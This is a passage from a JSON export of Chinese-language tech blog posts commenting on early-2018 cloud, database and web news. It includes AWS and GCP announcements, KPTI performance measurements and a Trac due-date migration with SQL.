class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">You can even add something like &amp;color=F2B0A9<br>There is also a way to redirect to a page after switching, but I can&#39;t remember the parameter name</p>&mdash; Ben Bridts‏ (@ikB3N) <a href=\"https://twitter.com/ikB3N/status/961013752643686400?ref_src=twsrc%5Etfw\">February 6, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n所以整體的網址就變成 <code>https://signin.aws.amazon.com/switchrole?account=012345678901&amp;roleName=admin&amp;displayName=tag-admin&amp;color=F2B0A9</code> 這樣。",
    "title": "AWS Switch Role 的連結"
  },
  {
    "id": "8127",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/details/mysql-details/\">Amazon Aurora (MySQL)</a> 推出相容於 <a href=\"https://dev.mysql.com/doc/relnotes/mysql/5.7/en/\">MySQL 5.7</a> 的版本了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/02/amazon-aurora-is-compatible-with-mysql-5-7/\">Amazon Aurora is Compatible with MySQL 5.7</a>」。\r\n\r\n不過網站上的介紹還沒更新：\r\n\r\n<blockquote>Amazon Aurora is a relational database service that combines the speed and availability of high-end commercial databases with the simplicity and cost-effectiveness of open source databases. The MySQL-compatible edition of Aurora delivers up to 5X the throughput of standard MySQL running on the same hardware, and is designed to be compatible with MySQL 5.6, enabling existing MySQL applications and tools to run without requiring modification.</blockquote>\r\n\r\n5.7 其中一個賣點在於支援 Spatial index (透過 <a href=\"https://en.wikipedia.org/wiki/R-tree\">R-tree</a>)，不過 <a href=\"https://aws.amazon.com/\">AWS</a> 的版本看起來是自己用 <a href=\"https://en.wikipedia.org/wiki/B-tree\">B-tree</a> 加上 <a href=\"https://en.wikipedia.org/wiki/Z-order_curve\">Z-order curve</a> 實做：「<a href=\"https://aws.amazon.com/blogs/database/amazon-aurora-under-the-hood-indexing-geospatial-data-using-z-order-curves/\">Amazon Aurora under the hood: indexing geospatial data using Z-order curves</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/PPvsJwN.jpg\" alt=\"\" />\r\n\r\n我覺得看看就好啦，拿 244GB RAM 的 <code>r3.8xlarge</code> 跑 1GB 的 data set，當大家是傻逼嗎...",
    "title": "Amazon Aurora (MySQL) 推出相容於 MySQL 5.7 的版本"
  },
  {
    "id": "8128",
    "body": "<a href=\"https://aws.amazon.com/route53/\">Amazon Route 53</a> 的 Auto Naming API 可以拿來跑 Service Discovery (參考先前的「<a href=\"https://blog.gslin.org/archives/2017/12/07/7901/%E7%94%A8-amazon-route-53-%E5%81%9A-service-discovery/\">用 Amazon Route 53 做 Service Discovery</a>」這篇)，當時是 <code>A</code>/<code>AAAA</code>/<code>SRV</code> record，現在則可以註冊 <code>CNAME</code> 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/02/amazon-route-53-auto-naming-announces-support-for-cname-record-type-and-alias-to-elb/\">Amazon Route 53 Auto Naming Announces Support for CNAME Record Type and Alias to ELB</a>」。\r\n\r\n最直接的影響就是 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 的部份了，透過 ELB 處理前端的話，覆載平衡以及數量限制的問題就會減輕很多 (之前是靠 <a href=\"https://en.wikipedia.org/wiki/Round-robin_DNS\">Round-robin DNS</a> 打散，而且限制一次最多回應五個 record)：\r\n\r\n<blockquote>Beginning today, you can use the Amazon Route 53 Auto Naming APIs to create CNAME records when you register instances of your microservices, and your microservices can discover the CNAMEs by querying DNS for the service name. Additionally, you can use the Amazon Route 53 Auto Naming APIs to create Route 53 alias records that route traffic to Amazon Elastic Load Balancers (ELBs).</blockquote>",
    "title": "Amazon Route 53 的 Auto Naming API 可以指到 CNAME 位置了"
  },
  {
    "id": "8130",
    "body": "<a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 放出要開大阪區的消息：「<a href=\"https://cloudplatform.googleblog.com/2018/02/GCP-is-building-its-second-Japanese-region-in-Osaka.html\">GCP is building its second Japanese region in Osaka</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sJ20mAb.webp\" /><img src=\"https://i.gslin.com/imgur/sJ20mAb.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> 在去年年中的時候也有類似的消息，不過還沒看到後續的公告：「<a href=\"https://blog.gslin.org/archives/2017/06/03/7363/aws-%E5%9C%A8-2018-%E5%B9%B4%E8%A6%81%E9%96%8B%E5%A4%A7%E9%98%AA%E5%8D%80/\">AWS 在 2018 年要開大阪區</a>」。\r\n\r\n東京區的成長都這麼快嗎... 還是大阪會比較便宜？",
    "title": "Google Cloud Platform 要開大阪區的消息..."
  },
  {
    "id": "8131",
    "body": "預定今年七月推出的 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 68 將會無條件將 HTTP 網站標為不安全：「<a href=\"https://security.googleblog.com/2018/02/a-secure-web-is-here-to-stay.html\">A secure web is here to stay</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BFg40xK.webp\" /><img src=\"https://i.gslin.com/imgur/BFg40xK.jpg\" alt=\"\" /></picture>\r\n\r\n不過 <a href=\"https://www.google.com/\">Google</a> 自己好像還沒把 <code>googleblog.com</code> 強制轉到 HTTPS 並且上 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a>...",
    "title": "Google Chrome 68 將會把 HTTP 網站無條件標為不安全"
  },
  {
    "id": "8132",
    "body": "看到歐盟通過終結<a href=\"https://zh.wikipedia.org/wiki/%E5%A4%8F%E6%97%B6%E5%88%B6\">日光節約時間</a>的新聞：「<a href=\"https://www.breakingnews.ie/ireland/latest-european-parliament-approves-proposal-to-end-bi-annual-clock-change-826985.html\">Latest: European Parliament approves proposal to end bi-annual clock change</a>」。\r\n\r\n<blockquote>Fine Gael MEP Sean Kelly, who has been campaigning for the change, said: \"I'm very pleased that after years of discussions at Committee level in the European Parliament, of which I'm the only Irish member, that out proposal was debated and voted on today in Parliament, and that Parliament accepted our proposal to ask the European Commission to come forward with a recommendation that we would end the bi-annual clock change.\"</blockquote>\r\n\r\n其中藍色是目前還有在實施的地區，其他都是已經終止的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CunAt81.webp\" /><img src=\"https://i.gslin.com/imgur/CunAt81.jpg\" alt=\"\" /></picture>\r\n<small>取自「<a href=\"https://commons.wikimedia.org/wiki/File:DaylightSaving-World-Subdivisions.png\">File:DaylightSaving-World-Subdivisions.png</a>」</small>\r\n\r\n主要是因為日光節約時間對於現代社會的好處愈來愈少的關係吧... 早期在歐美國家很盛行，現在歐洲決定廢止這個制度，應該會讓美國再次討論起來。",
    "title": "歐盟通過終結日光節約時間"
  },
  {
    "id": "8133",
    "body": "第一眼在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/02/introducing-the-aws-instance-scheduler/\">Introducing the AWS Instance Scheduler</a>」看到「<a href=\"https://aws.amazon.com/answers/infrastructure-management/instance-scheduler/\">AWS Instance Scheduler</a>」的描述時，跟之前推出的 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-scheduled-instances.html\">Scheduled Reserved Instances</a> 搞混...\r\n\r\n<blockquote>The AWS Instance Scheduler is a solution that enables customers to easily configure custom start and stop schedules for their Amazon EC2 and Amazon RDS instances. The solution is easy to deploy and can help reduce operational costs for both development and production environments. Customers who use this solution to run instances during regular business hours can save up to 70% compared to running those instances 24 hours a day.</blockquote>\r\n\r\n以這張圖來說就更清楚，AWS Instance Scheduler 就是指定時間，定時幫你開關機的服務：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9feHOSG.webp\" /><img src=\"https://i.gslin.com/imgur/9feHOSG.jpg\" alt=\"\" /></picture>\r\n\r\n而我搞混的 Scheduled Reserved Instances 是買某個時段的 RI，是作帳議題。不過兩個看起來就很適合搭在一起用...",
    "title": "AWS 推出 AWS Instance Scheduler，定時幫你開關機的服務..."
  },
  {
    "id": "8135",
    "body": "也是個很久前就聽到傳言的消息... <a href=\"https://aws.amazon.com/\">AWS</a> 剛剛公佈了在台北的 <a href=\"https://aws.amazon.com/directconnect/\">Direct Connect</a> 接口，用戶可以在台北內租用線路進機房就連上 Direct Connect：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/02/new-aws-direct-connect-sites-land-in-paris-and-taipei/\">New AWS Direct Connect sites land in Paris and Taipei</a>」。\r\n\r\n<blockquote>AWS Direct Connect also launched its first site in Taiwan at Chief Telecom LY, Taipei. In the Management Console, Taipei is located in the Asia Pacific (Tokyo) Region. With global access enabled for AWS Direct Connect, these sites can reach AWS resources in any global AWS region using global public VIFs and Direct Connect Gateway.</blockquote>\r\n\r\n以往需要透過像 <a href=\"http://globalcloudxchange.com/\">GCX</a> 這樣的公司租用國際頻寬，再從 GCX 在台北的機房拉到自家機房 (通常是市內專線)，現在只需要在台北對接的這段就可以了。\r\n\r\n台北的接點在 AWS 上寫的是 Chief Telecom LY, Taipei, Taiwan，查了一下是<a href=\"http://www.chief.com.tw/\">是方電訊</a>的「<a href=\"http://www.chief.com.tw/dispPageBox/ct.aspx?ddsPageID=CHIDCSERVICE&amp;dbid=4852932247\">是方麗源大樓</a> (台北市內湖區陽光街250號)」，也就是之前有發生過火災而大斷線的那棟。對接的 AWS Home Region 是 Asia Pacific (Tokyo)，所以使用 <code>ap-northeast-1</code> 的人可以規劃...",
    "title": "AWS 公開了在台北的 Direct Connect 接口"
  },
  {
    "id": "8136",
    "body": "<a href=\"https://www.netflix.com/\">Netflix</a> 的 <a href=\"http://www.brendangregg.com/\">Brendan Gregg</a> 整理了他測試 <a href=\"https://en.wikipedia.org/wiki/Kernel_page-table_isolation\">KPTI</a> 對效能的影響：「<a href=\"http://www.brendangregg.com/blog/2018-02-09/kpti-kaiser-meltdown-performance.html\">KPTI/KAISER Meltdown Initial Performance Regressions</a>」。\r\n\r\n與其他人只是概括的測試，他主要是想要針對可量測的數字對應出可能的 overhead，這樣一來還沒上 patch 的人就可以利用這些量測數字猜測可能的效能衝擊。\r\n\r\n他把結論放在前面：\r\n\r\n<blockquote>To understand the KPTI overhead, there are at least five factors at play. In summary:\r\n\r\n<ul>\r\n\t<li>Syscall rate: there are overheads relative to the syscall rate, although high rates are needed for this to be noticable. At 50k syscalls/sec per CPU the overhead may be 2%, and climbs as the syscall rate increases. At my employer (Netflix), high rates are unusual in cloud, with some exceptions (databases).</li>\r\n\t<li>Context switches: these add overheads similar to the syscall rate, and I think the context switch rate can simply be added to the syscall rate for the following estimations.</li>\r\n\t<li>Page fault rate: adds a little more overhead as well, for high rates.</li>\r\n\t<li>Working set size (hot data): more than 10 Mbytes will cost additional overhead due to TLB flushing. This can turn a 1% overhead (syscall cycles alone) into a 7% overhead. This overhead can be reduced by A) pcid, available in Linux 4.14, and B) Huge pages.</li>\r\n\t<li>Cache access pattern: the overheads are exacerbated by certain access patterns that switch from caching well to caching a little less well. Worst case, this can add an additional 10% overhead, taking (say) the 7% overhead to 17%.</li>\r\n</ul></blockquote>\r\n\r\n重點在於給了量測的方式，以第一個 Syscall rate 來說好了，他用 <code>sudo perf stat -e raw_syscalls:sys_enter -a -I 1000</code> 測試而得到程式的 syscall 數量，然後得到下面的表格，其中 X 軸是每秒千次呼叫數，Y 軸是效能損失：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OQ9lMRm.webp\" /><img src=\"https://i.gslin.com/imgur/OQ9lMRm.jpg\" alt=\"\" /></picture>\r\n\r\n用這樣的方式提供給整個組織 (i.e. Netflix) 內評估衝擊。",
    "title": "不同性質的應用程式對 KPTI (Meltdown 修正) 的效能影響"
  },
  {
    "id": "8137",
    "body": "剛剛翻到 <a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/rds/aurora/details/postgresql-details/\">Amazon Aurora (PostgreSQL)</a> 在東京開放使用了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/02/amazon-aurora-with-postgresql-compatibility-is-available-in-the-asia-pacific--tokyo--region/\">Amazon Aurora with PostgreSQL Compatibility is Available in the Asia Pacific (Tokyo) Region</a>」。\r\n\r\n<blockquote>The PostgreSQL-compatible edition of Amazon Aurora is now available in 10 regions. With the addition of the AWS Asia Pacific (Tokyo) region, you have a new option for database placement, availability, and scalability.</blockquote>\r\n\r\n不過 <a href=\"https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/\">Region Table</a> 裡面還沒更新，亞洲區裡面的東京還沒勾起來，應該過幾天就會更新了...",
    "title": "AWS Tokyo 也有 Amazon Aurora (PostgreSQL) 可以用了"
  },
  {
    "id": "8138",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 讓 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 可以透過 <a href=\"https://aws.amazon.com/kms/\">KMS</a> 加密了：「<a href=\"https://aws.amazon.com/blogs/aws/new-encryption-at-rest-for-dynamodb/\">New – Encryption at Rest for DynamoDB</a>」。\r\n\r\n<blockquote>You simply enable encryption when you create a new table and DynamoDB takes care of the rest. Your data (tables, local secondary indexes, and global secondary indexes) will be encrypted using AES-256 and a service-default AWS Key Management Service (KMS) key.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UkRhzFH.webp\" /><img src=\"https://i.gslin.com/imgur/UkRhzFH.jpg\" alt=\"\" /></picture>\r\n\r\n看起來不是自己的 KMS key，而是 service 本身提供的，這樣看起來是在 i/o level 加密，所以還不是 searchable encryption 的能力...",
    "title": "DynamoDB 可以透過 KMS 加密了..."
  },
  {
    "id": "8139",
    "body": "在「<a href=\"https://cabforum.org/2018/02/05/ballot-218-remove-validation-methods-1-5/\">Ballot 218 - Remove validation methods 1 and 5 - CAB Forum</a>」看到「Ballot 218: Remove validation methods #1 and #5」這則議案以 78% 的同意票通過，限縮 SSL Certificate 的認證方式。眼睛瞄到中華電信投下反對票：\r\n\r\n<blockquote>14 Yes votes: CFCA, Cisco, Comodo CA, D-TRUST, DigiCert, GDCA, GlobalSign, GoDaddy, Izenpe, Let’s Encrypt, Logius PKIoverheid, SSL.com, TrustCor, Trustwave\r\n\r\n4 No votes: Buypass, Chunghwa Telecom, Entrust Datacard, SwissSign\r\n\r\n4 Abstain: Actalis, Disig, HARICA, OATI\r\n\r\n78% of voting CAs voted in favor</blockquote>\r\n\r\n找了一下在 BR (Baseline Requirements) 的 3.2.2.4.1 與 3.2.2.4.5，其中前者是透過註冊商認證：\r\n\r\n<blockquote>3.2.2.4.1 Validating the Applicant as a Domain Contact\r\n\r\nConfirming the Applicant's control over the FQDN by validating the Applicant is the Domain Contact directly with the Domain Name Registrar.</blockquote>\r\n\r\n後者是透過文件認證：\r\n\r\n<blockquote>3.2.2.4.5 Domain Authorization Document\r\n\r\nConfirming the Applicant's control over the FQDN by relying upon the attestation to the authority of the Applicant to request a Certificate contained in a Domain Authorization Document.</blockquote>\r\n\r\n在想投下反對的原因，會不會是因為中華自己的 domain 應該都是透過後者方式發的？透過內部公文系統...",
    "title": "SSL Certificate 的認證方式限縮"
  },
  {
    "id": "8140",
    "body": "難得在 <a href=\"https://www.percona.com/\">Percona</a> 的 blog 上看到專門談 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的文章：「<a href=\"https://www.percona.com/blog/2018/02/09/collect-postgresql-metrics-with-percona-monitoring-and-management-pmm/\">Collect PostgreSQL Metrics with Percona Monitoring and Management (PMM)</a>」。\r\n\r\n其實是透過 <a href=\"https://prometheus.io/\">Prometheus</a> 疊出來的：\r\n\r\n<blockquote>Starting from PMM 1.4.0. it’s possible to add monitoring for any service supported by Prometheus.</blockquote>\r\n\r\n在步驟也可以看到：\r\n\r\n<blockquote>3. In the next dialog, choose Prometheus as a data source and continue.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uPgq1ey.webp\" /><img src=\"https://i.gslin.com/imgur/uPgq1ey.jpg\" alt=\"\" /></picture>\r\n\r\n這方法有點奇怪就是了，但反正會動比較重要？XD",
    "title": "用 Percona Monitoring and Management (PMM) 蒐集 PostgreSQL 的數據"
  },
  {
    "id": "8143",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"http://www.tomanthony.co.uk/blog/googlebot-javascript-random/\">Googlebot’s Javascript random() function is deterministic</a>」這則有趣的發現。作者發現 Googlebot 的 <a href=\"https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Math/random\">Math.random()</a> 並不隨機，甚至是固定的：\r\n\r\n<blockquote>The first time Googlebot calls <code>Math.random()</code> the result will always be <code>0.14881141134537756</code>, the second call will always be <code>0.19426893815398216</code>. The script I linked to above simply uses this fact but obfuscates it a little and ‘seed’ it with something that doesn’t look too arbitrary.</blockquote>\r\n\r\n需要無法預測的 random number (有安全性需求的) 應該用 <a href=\"https://developer.mozilla.org/docs/Web/API/RandomSource/getRandomValues\">RandomSource.getRandomValues()</a> 這類函數，而不是用 <code>Math.random()</code>，所以這點倒是還好...",
    "title": "Googlebot 的 Math.random()"
  },
  {
    "id": "8151",
    "body": "在「<a href=\"https://www.hashicorp.com/blog/hashicorp-packer-1-2-0\">HashiCorp Packer 1.2.0</a>」這篇看到的雲端平台：\r\n\r\n<blockquote>New builder: ncloud for building server images using the NAVER Cloud Platform.</blockquote>\r\n\r\n<a href=\"https://www.naver.com/\">NAVER</a> 是 <a href=\"https://line.me/\">Line</a> 母公司，這是他們推出的雲端平台，看起來相似的產品是 <a href=\"https://aws.amazon.com/\">AWS</a>。在 <a href=\"https://www.ncloud.com/charge/region\">https://www.ncloud.com/charge/region</a> 這邊可以看到提供了韓國、美國、新加坡、香港、日本與德國，可以看出因為是韓國公司，擴了不少亞洲的點...\r\n\r\n找時間看一看好了，目前看起來 routing 好像還不錯？",
    "title": "NAVER CLOUD PLATFORM"
  },
  {
    "id": "8152",
    "body": "在 <a href=\"https://mariadb.org/\">MariaDB</a> 的「<a href=\"https://mariadb.org/myisam-table-scan-performance-kpti/\">MyISAM and KPTI – Performance Implications From The Meltdown Fix</a>」這篇看到頗驚人的數字，這篇提到了他們收到回報 (回報的 ticket 可以參考「<a href=\"https://jira.mariadb.org/browse/MDEV-15072\">[MDEV-15072] Massive performance impact after PTI fix - JIRA</a>」)，說 <a href=\"https://en.wikipedia.org/wiki/Kernel_page-table_isolation\">KPTI</a> (<a href=\"https://meltdownattack.com/\">Meltdown</a> Mitigation) 對 <a href=\"https://en.wikipedia.org/wiki/MyISAM\">MyISAM</a> 效能影響巨大：\r\n\r\n<blockquote>Recently we had a report from a user who had seen a stunning 90% performance regression after upgrading his server to a Linux kernel with KPTI (kernel page-table isolation – a remedy for the Meltdown vulnerability).</blockquote>\r\n\r\n他們發現 90% 是因為 <a href=\"https://www.vmware.com/\">VMware</a> 舊版本無法使用 CPU feature 加速，在新版應該可以改善不少。但即使如此，文章內還是在實體機器上看到了 40% 的效能損失：\r\n\r\n<blockquote>A big deal of those 90% was caused by running in an old version of VMware which doesn’t pass the PCID and INVPCID capabilities of the CPU to the guest. But I could reproduce a regression around 40% even on bare metal.</blockquote>\r\n\r\n然後後面就在推銷 MariaDB 的 <a href=\"https://mariadb.com/kb/en/library/aria-storage-engine/\">Aria Storage Engine</a> 了，不是那麼重要... 不過知道 MyISAM 在 KPTI 下這麼傷還蠻重要的，因為接下來五年應該都還是愈的到 KPTI，應該還是有人在用 MyISAM...",
    "title": "KPTI (Meltdown Mitigation) 對 MyISAM 的痛點"
  },
  {
    "id": "8155",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://nginx.org/\">nginx</a> 的 HTTP/2 也要支援 server push 的消息了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">woot, nginx landed support for H2 server push: <a href=\"https://t.co/hiQay6jKbx\">https://t.co/hiQay6jKbx</a> - you can also enable Link (rel=preload) header support for initiating push! \\o/ <a href=\"https://t.co/xE1YaIHNbA\">pic.twitter.com/xE1YaIHNbA</a></p>&mdash; Ilya Grigorik (@igrigorik) <a href=\"https://twitter.com/igrigorik/status/963899438602178560?ref_src=twsrc%5Etfw\">February 14, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n看起來是只要送出對應的 HTTP Header，後續 nginx 就會幫你處理...\r\n\r\n這功能總算是要進 nginx 了... 像是透過 cookie 判斷使用者是第一次瀏覽，就透過 server push 預先把 css/js 丟出去，加速頁面呈現。",
    "title": "nginx 的 HTTP/2 要支援 Server Push 了"
  },
  {
    "id": "8156",
    "body": "看到 <a href=\"https://twitter.com/\">Twitter</a> 在自家平台上這樣講：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">For the full Twitter experience on Mac, visit Twitter on web. ?  <a href=\"https://t.co/fuPJa3nVky\">https://t.co/fuPJa3nVky</a></p>&mdash; Twitter Support (@TwitterSupport) <a href=\"https://twitter.com/TwitterSupport/status/964635740444360704?ref_src=twsrc%5Etfw\">February 16, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這是發生什麼事情了 XD",
    "title": "Mac 上 Twitter 建議的用戶端..."
  },
  {
    "id": "8157",
    "body": "<a href=\"https://trac.edgewall.org/\">Trac</a> 的版本玩法跟早期 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 的模式有點像，也就是版號偶數是正式版，奇數是開發版... 雖然現在 Linux Kernel 已經不玩這套了，但 Trac 還是維持這樣的開發方式。\r\n\r\n先前一直都是用 Trac 1.0，其中 Due Date 的功能則是用「<a href=\"https://trac-hacks.org/wiki/DateFieldPlugin\">DateFieldPlugin</a>」這個套件，讓 Trac 支援 date 格式，於是就可以在 <code>[ticket-custom]</code> 裡面指定 Due Date 了：\r\n\r\n<pre>due_date = text\r\ndue_date.date = true\r\ndue_date.date_empty = false\r\ndue_date.label = Due Date\r\ndue_date.value = &lt;now&gt;</pre>\r\n\r\n在套件的頁面也有提到在 Trac 1.1.1 後就有內建的方式可以用了：\r\n\r\n<blockquote>Notice: This plugin is deprecated in Trac 1.2 and later. Custom fields of type ​time were added in Trac 1.1.1.</blockquote>\r\n\r\n連結是連到 1.1 的，我要測 1.2 的，所以往現在的版本翻資料，可以看到在 <a href=\"https://trac.edgewall.org/wiki/TracTicketsCustomFields\">TracTicketsCustomFields</a> 這邊的說明：(這邊就懶的照原來 html 排了，用 <code>pre</code> 直接放縮排)\r\n\r\n<pre>time: Date and time picker. (Since 1.1.1.)\r\n    label: Descriptive label.\r\n    value: Default date.\r\n    order: Sort order placement.\r\n    format: One of:\r\n        relative for relative dates.\r\n        date for absolute dates.\r\n        datetime for absolute date and time values.</pre>\r\n\r\n這樣一來設定就會變成：\r\n\r\n<pre>due_date = time\r\ndue_date.format = date\r\ndue_date.label = Due Date\r\ndue_date.value = now</pre>\r\n\r\n但底層資料怎麼存？先看 <code>ticket_custom</code> 這個表格的結構，可以看到是 <a href=\"https://en.wikipedia.org/wiki/Entity%E2%80%93attribute%E2%80%93value_model\">EAV</a> 的架構：\r\n\r\n<pre>+--------+------------+------+-----+---------+-------+\r\n| Field  | Type       | Null | Key | Default | Extra |\r\n+--------+------------+------+-----+---------+-------+\r\n| ticket | int(11)    | NO   | PRI | NULL    |       |\r\n| name   | mediumtext | NO   | PRI | NULL    |       |\r\n| value  | mediumtext | YES  |     | NULL    |       |\r\n+--------+------------+------+-----+---------+-------+\r\n3 rows in set (0.00 sec)</pre>\r\n\r\n隨便拉一些可以看出來放法很簡單：\r\n\r\n<pre>+--------+----------+------------+\r\n| ticket | name     | value      |\r\n+--------+----------+------------+\r\n|      1 | due_date | 2016-10-03 |\r\n+--------+----------+------------+</pre>\r\n\r\n改成 Trac 1.2 內建的 <code>time</code> 後，塞 2018/02/28 變成：\r\n\r\n<pre>+--------+----------+--------------------+\r\n| ticket | name     | value              |\r\n+--------+----------+--------------------+\r\n|      1 | due_date | 001519776000000000 |\r\n+--------+----------+--------------------+</pre>\r\n\r\n拿掉後面的六個 0 後可以看到就是 2018/02/28 了，要注意的是，這邊會受到時區影響，我一開始測試的時候沒調整，寫進去的時間是用伺服器預設的時區計算的。另外也大概能理解前面放兩個 0 的目的，是為了讓 string 比較時的大小就會是數字實際的大小。\r\n\r\n<pre>$ date --date=@1519776000\r\nWed Feb 28 00:00:00 UTC 2018</pre>\r\n\r\n這樣就知道要怎麼做人工轉換了...",
    "title": "Trac 1.1 增加的 time 欄位，以及 Due Date 資料的轉移"
  },
  {
    "id": "8158",
    "body": "就如同上一篇提到的，<a href=\"https://trac.edgewall.org/\">Trac</a> 在 1.1.1 後新增了 <code>time</code> 格式，所以本來的 <a href=\"https://trac-hacks.org/wiki/DateFieldPlugin\">DateFieldPlugin</a> 有些資料要轉換。我這邊只有用在 Due Date，所以就是轉 <code>due_date</code> 的資料而已。\r\n\r\n先把 <code>due_date</code> 都改成 <code>due_date_bak</code>：\r\n\r\n<pre>UPDATE ticket_custom SET name = 'due_date_bak' WHERE name = 'due_date';</pre>\r\n\r\n然後重新計算資料，這邊是因為所有的系統都是 UTC，所以直接轉就可以了：\r\n\r\n<pre>INSERT INTO ticket_custom (ticket, name, value) SELECT ticket, 'due_date', LPAD(UNIX_TIMESTAMP(STR_TO_DATE(value, '%Y-%m-%d')) * 1000000, 18, '0') FROM ticket_custom WHERE name = 'due_date_bak';</pre>\r\n\r\n而我的 Report 有用到 <code>due_date</code> 欄位的東西，本來是 <code>c.value</code> 直接輸出，現在要改成：\r\n\r\n<pre>FROM_UNIXTIME(CONVERT(c.value / 1000000, UNSIGNED INTEGER), '%Y-%m-%d') AS due_date</pre>\r\n\r\nTrac 1.2 相較於 1.0 最不習慣的地方應該是修改界面的位置改變了，現在 Add Comment 變成在 Modify 下面，有點不太習慣，但之後用久了應該就會習慣了。其他的修一修改一改都會動了...",
    "title": "總算把手上的 Trac 1.0 升級到 1.2 了..."
  },
  {
    "id": "8160",
    "body": "<a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://gist.github.com/\">Gist</a> 變成要註冊使用者才能貼了：「<a href=\"https://github.com/blog/2503-deprecation-notice-removing-anonymous-gist-creation\">Deprecation notice: Removing anonymous gist creation</a>」。主要的原因也還是因為太多 spam 之類的訊息：\r\n\r\n<blockquote>In 30 days, we'll be deprecating anonymous gist creation—a decision we made after a lot of deliberation. Anonymous gists are a handy tool for quickly putting a code snippet online, but as the only way to create anonymous content on GitHub, they also see a large volume of spam. In addition, many people already have a combination of tools authenticated with GitHub that allow them to create gists they own.</blockquote>\r\n\r\n預定是 3/19 關閉... 只好繼續貼 <a href=\"https://pastebin.com/\">Pastebin</a> 了... XD",
    "title": "GitHub 的 Gist 要移除匿名發表的功能了..."
  },
  {
    "id": "8161",
    "body": "在「<a href=\"https://blog.torproject.org/italian-anti-corruption-authority-anac-adopts-onion-services\">Italian Anti-Corruption Authority (ANAC) Adopts Onion Services</a>」這邊看到，義大利政府因為法令要求必須保護告密者，而不只是在需要提供身份的階段才保護：\r\n\r\n<blockquote>Many national laws (such as Italian Dlgs. 231/2001) require companies to adopt corporate governance structures and risk prevention systems, which can include allowing whistleblowing submissions. However, most whistleblowing laws only protect whistleblowers when their identity is disclosed, which can put the person reporting corruption at risk.\r\n\r\nIn 2016, the International Standards Organization (ISO) released a new model for organizations setting up and operating anti-bribery management systems, ISO 37001:2016. To meet ISO standards, organizations or companies implementing anti-corruption procedures must allow anonymous reporting, as explicitly indicated in point 8.9 of section C of ISO 37001:2016.\r\n\r\nFurthermore, national laws (such as recent Italian 179/2017) require the adoption of IT systems for whistleblowing, leading to the practical integration and use of Tor for its technological anonymity features.</blockquote>\r\n\r\n而義大利政府的系統選擇用 <a href=\"https://www.torproject.org/\">Tor</a> 的 Onion (Hidden Service) 提供服務接受檢舉：\r\n\r\n<blockquote>To comply with these standards, the Italian Anti-Corruption Authority (ANAC), an administrative watchdog, just launched their national online whistleblowing platform using onion services, giving whistleblowers who come forward a secure way to report illegal activity while protecting their identities.</blockquote>\r\n\r\n這使用了 hidden service 的特性，讓伺服器端完全無法得知 client 的位置，對於使用有足夠保護的 browser 來說 (像是 <a href=\"https://www.torproject.org/projects/torbrowser.html.en\">Tor Browser</a>)，這可以完全讓 server 端無法得知身份，即使政府的伺服器都入侵也沒辦法知道告密者是誰。\r\n\r\n這點頗先進的...",
    "title": "義大利政府的反貪組織用 Tor 的 Onion (Hidden Service) 接受檢舉"
  },
  {
    "id": "8163",
    "body": "在「<a href=\"https://gnu.wildebeest.org/blog/mjw/2018/02/14/dtrace-for-linux-oracle-does-the-right-thing/\">dtrace for linux; Oracle does the right thing</a>」這邊看到 <a href=\"https://en.wikipedia.org/wiki/DTrace\">DTrace</a> 用 <a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\">GPL</a> 釋出的消息 (本來是 <a href=\"https://en.wikipedia.org/wiki/Common_Development_and_Distribution_License\">CDDL</a>，與 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 用的 GPLv2 不相容)。\r\n\r\n這次不僅是釋出，還提供了整合到 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 的 commit。\r\n\r\n不過我記得在 DTrace 出來後，Linux 社群發展不少類似的工具... 不知道這次的釋出會有什麼樣的交互影響。",
    "title": "DTrace 用 GPL 授權釋出了..."
  },
  {
    "id": "8164",
